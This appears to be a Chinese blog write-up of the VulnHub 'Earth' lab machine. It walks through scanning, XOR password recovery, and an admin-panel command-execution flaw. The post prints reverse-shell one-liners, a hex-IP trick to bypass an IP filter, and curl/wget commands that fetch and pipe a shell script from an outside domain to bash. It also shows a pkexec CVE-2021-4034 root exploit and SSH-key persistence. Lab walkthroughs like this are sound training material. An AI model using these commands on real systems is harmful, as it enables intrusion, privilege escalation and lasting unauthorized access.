靶机下载地址:https://www.vulnhub.com/entry/the-planets-earth,755/
教程链接地址:https://blog.csdn.net/valecalida/article/details/121316934

# 确认攻击目标

攻击机 KALI: 192.168.31.135
靶机 EARTH:桥接于 192.168.31.1 的网卡,ip 未知

  1. 通过 netdiscover 扫描当前网卡里边有哪些机器
    sudo netdiscover -i eth0 -r 192.168.31.0/24

  1. 将所有已知的 ip 暂时存档,对这类 ip 地址不做端口扫描
1
2
3
4
5
# shell
cat > myip.txt << EOF
192.168.31.1 192.168.31.25 192.168.31.58 192.168.31.86 192.168.31.33
192.168.31.120 192.168.31.135 192.168.31.145 192.168.31.162 192.168.31.44
EOF
  1. 去除一些已知 ip 的机器,对剩余 IP 进行端口扫描,判断目标 IP
    sudo nmap -PA 192.168.31.0/24 --excludefile myip.txt

-> 目标机器的 ip 地址: 192.168.31.67

# 端口扫描

sudo nmap -A -p 1-1024 192.168.31. 67 -oN /tmp/earth.txt

# 修改本地 Hosts

打开网站:http://192.168.31.67 https://192.168.31.67 发现两个网址都无法打开
注意到端口扫描的结果中, 443 中有如下说明:
Subject Alternative Name: DNS:earth.local, DNS:terratest.earth.local
尝试修改本地 hosts 文件,将这两个域名解析指向 192.168.31.67

sudo echo ‘192.168.31.67 earth.local terratest.earth.local’ >> /etc/hosts

Image

-> 更多信息暴露,有了更多的攻击面:
http://earth.local/
https://earth.local/
http://terratest.earth.local/
https://terratest.earth.local/

# 目录扫描

打开网站:http://earth.local/

对此网站进行目录扫描
dirsearch -u http://earth.local

Image

# 弱口令测试

登录地址:http://earth.local/admin/login

# 其他网址测试

对其他三个网站进行目录扫描

dirsearch -u https://earth.local/

Image

dirsearch -u http://terratest.earth.local/

Image

dirsearch -u https://terratest.earth.local/

Image

-> 发现目录:https://terratest.earth.local/robots.txt

对 https://terratest.earth.local/robots.txt 进行分析

Image

-> 发现可疑地址:https://terratest.earth.local/testingnotes.txt

Image

下一步攻击思路,首页打开的数字字母的排列组合是 xor 加密运算

https://terratest.earth.local/testdata.txt 为测试加密数据

管理用户中有管理员:terra

# Xor 加密破解

编写 python 脚本,以 testdata.txt 为密钥,并注意删除其后面的空行,对首页得到的三份数据进行解密

1
2
3
4
5
6
7
cat > 1.py << EOF
import binascii
data1 =
"2402111b1a0705070a41000a431a000a0e0a0f04104601164d050f070c0f15540d1018000000000c0c06410f0901420e105c0d074d04181a01041c170d4f4c2c0c13000d430e0e1c0a0006410b420d074d55404645031b18040a03074d181104111b410f000a4c41335d1c1d040f4e070d04521201111f1d4d031d090f010e00471c07001647481a0b412b1217151a531b4304001e151b171a4441020e030741054418100c130b1745081c541c0b0949020211040d1b410f090142030153091b4d150153040714110b174c2c0c13000d441b410f13080d12145c0d0708410f1d014101011a050d0a084d540906090507090242150b141c1d08411e010a0d1b120d110d1d040e1a450c0e410f090407130b5601164d00001749411e151c061e454d0011170c0a080d470a1006055a010600124053360e1f1148040906010e130c00090d4e02130b05015a0b104d0800170c0213000d104c1d050000450f01070b47080318445c090308410f010c12171a48021f49080006091a48001d47514c50445601190108011d451817151a104c080a0e5a"
f = binascii.b2a_hex(open('testdata.txt', 'rb').read()).decode()
print(hex(int(data1,16) ^ int(f,16)))
EOF

在线 16 进制数据转为字符串:http://www.ab173.com/convert/ox2str.php

-> 去掉重复值得到:earthclimatechangebad4humans

# 账户密码利用

  1. 已有凭据
    现在已成功拥有账户:terra
    密码:earthclimatechangebad4humans
    尝试进行连接:ssh terra@192.168.31.67
Image

-> 排除掉这是 ssh 的用户和密码

  1. 从之前得到的网址尝试登陆
    https://earth.local/admin/login

  1. 登陆成功,发现 RCE 代码执行漏洞

# RCE 漏洞反弹 shell

  1. 从之前得到的网址尝试登陆
1
2
3
4
5
6
7
8
9
10
11
# 从最基础的反弹shell的命令尝试发现被过滤:
bash -c "bash -i>& /dev/tcp/192.168.31.135/4444 0>&1"

# 这里过滤的是ip地址,可将ip地址改为十六进制绕过:
bash -c 'bash -i >& /dev/tcp/0xc0.0xa8.0x1f.0x87/4444 0>&1'

# 或者连接到有域名的网址 [http://www.chentuo.asia](http://www.chentuo.asia)
cat > shell.sh << EOF
#! /bin/bash
bash -c 'bash -i >& /dev/tcp/192.168.31.135/4444 0>&1'
EOF
1
2
3
4
# 采用以下几种方法尝试下马执行
wget http://www.chentuo.asia/shell.sh && chmod +x shell.sh && ./shell.sh
wget http://www.chentuo.asia/shell.sh && sh shell.sh
curl http://www.chentuo.asia/shell.sh | bash

  1. 得到一个标准的 shell
1
2
3
python3 -c 'import pty;pty.spawn("/bin/bash")' then press Ctrl+Z
stty raw -echo;fg then press ENTER twice
export TERM=xterm
Image

# Pkexec 权限提升

1
2
3
4
5
6
7
8
9
10
11
12
# 查看靶机上的pkexec是否存在s权限:
ls - Alh `which pkexec`

# 在攻击机kali上下载poc:
wget https://github.com/berdav/CVE-2021-4034/archive/refs/heads/main.zip

# 解压poc:
unzip master.zip

# 从靶机上获取poc:
scp -r parallels@192.168.31.135:~/Desktop/tool/pkexec/CVE-2021-4034-main /tmp
cd /tmp/CVE-2021-4034-main && make & ./CVE-2021-4034
Image
1
2
# 获取标准 shell
python3 -c "import pty;pty.spawn('/bin/bash')"
Image

# 密钥对维权

提前准备好配对好的私钥和公钥,将公钥发到靶机

1
2
scp parallels@192.168.31.135:~/.ssh/id_rsa.pub ~/.ssh/
cat ~/.ssh/id_rsa.pub >> ~/.ssh/authorized_keys && rm -f id_rsa.pub
Image
1
2
ll | grep id
ssh root@192.168.31.127 -i ~/.ssh/id_rsa
Image

-> 免密成功,下次可直接登录

更新于 阅读次数

请我喝[茶]~( ̄▽ ̄)~*

.N1h1l157 微信支付

微信支付

.N1h1l157 支付宝

支付宝

.N1h1l157 贝宝

贝宝